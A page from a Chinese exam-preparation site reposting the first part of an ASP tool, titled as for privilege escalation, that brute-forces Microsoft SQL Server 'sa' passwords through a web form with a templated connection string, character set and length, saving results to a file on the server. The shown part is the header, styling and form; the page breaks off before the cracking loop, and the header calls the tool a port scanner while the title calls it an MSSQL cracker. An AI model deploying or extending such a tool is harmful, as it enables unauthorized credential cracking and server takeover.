ASP提权暴力破解MSSQL用户密码

来源:Linux认证    发布时间:2012-11-10    Linux认证视频    评论

    一个暴力破解MSSQL用户密码的ASP程序,以下这个版本是可以运行之后关闭浏览器,运行完毕将在当前目录生成结果文件的。
    CODE:
    <%
    ‘============ ASP Port Scanner by lake2 ===================
    ‘http://lake2.0×54.org
    ‘Version: 0.1
    ‘For SpringBoard
    ‘==========================================================
    %>
    <style type=”text/css”>
    body,td,th {color: #0000FF;font-family: Verdana, Arial, Helvetica, sans-serif;}
    body {background-color: #ffffff;font-size:14px; }
    a:link {color: #0000FF;text-decoration: none;}
    a:visited {text-decoration: none;color: #0000FF;}
    a:hover {text-decoration: none;color: #FF0000;}
    a:active {text-decoration: none;color: #FF0000;}
    .buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
    .TextBox {border: 1px solid #084B8E}
    .styleRed {color: #FF0000}
    </style>
    <title>MSSQL Cracker for SpringBoard</title>
    <%
    Dim Password()
    If Request.Form(“go”) <> “1″ Then
    %>
    <div align=”center”>Welcome to <a href=”http://lake2.0×54.org” target=”_blank”>http://lake2.0×54.org</a> </div>
    <form name=”form1″ method=”post” action=”" onSubmit=”form1.Submit.disabled=true;”>
    ConnStr:
    <input name=”conn” type=”text” id=”conn” value=”Provider=SQLOLEDB.1;Data Source=127.0.0.1;User ID=sa;Password={PASS};” size=”70″>
    <br>
    Char:
    <input name=”char” type=”text” id=”char” value=”0123456789″ size=”30″>
    <br>
    Length:
    <input name=”len” type=”text” id=”len” value=”3″ size=”4″>
    <br>
    Path:
    <input name=”path” type=”text” value=”<%=Server.MapPath(“r.txt”)%>” size=”50″>
    <input name=”CFile” type=”checkbox” id=”CFile” value=”1″ checked>
    Enablel<br>
    <input name=”go” type=”hidden” id=”go” value=”1″>
    <br>
    <input name=”Submit” type=”submit” id=”Submit” value=” Run “>
    </form>
    <%

    考试大温馨提示:本内容来源于网络,仅代表作者个人观点,与本站立场无关,仅供您学习交流使用。其中可能有部分文章经过多次转载而造成文章内容缺失、错误或文章作者不详等问题,请您谅解。如有侵犯您的权利,请联系我们,本站会立即予以处理。

    编辑特别推荐:

    linuxln命令详解

    nginx关于服务静态文件的配置

    使用expect实现ssh自动交互

上一页12下一页

视频学习

我考网版权与免责声明

① 凡本网注明稿件来源为"原创"的所有文字、图片和音视频稿件,版权均属本网所有。任何媒体、网站或个人转载、链接转贴或以其他方式复制发表时必须注明"稿件来源:我考网",违者本网将依法追究责任;

② 本网部分稿件来源于网络,任何单位或个人认为我考网发布的内容可能涉嫌侵犯其合法权益,应该及时向我考网书面反馈,并提供身份证明、权属证明及详细侵权情况证明,我考网在收到上述法律文件后,将会尽快移除被控侵权内容。

最近更新

社区交流

考试问答